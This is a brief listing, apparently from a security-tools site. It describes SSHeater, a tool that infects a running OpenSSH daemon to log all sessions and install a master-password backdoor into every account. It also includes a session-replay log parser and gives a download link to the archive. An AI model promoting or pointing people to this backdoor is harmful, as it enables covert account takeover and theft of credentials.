SSHeater is a program that infects the OpenSSH daemon in run-time in order to log all future sessions and implement a backdoor where a single password, chosen by the user, can log into all accounts in the system. There’s a log parser included in the package that can display authentication information about sessions as well as play the session just like TTYrec/play.
You can download it from the following link: https://packetstormsecurity.com/files/download/45228/ssheater-1.1.tar.gz
Source: https://packetstormsecurity.com/files/45228/ssheater-1.1.tar.gz.html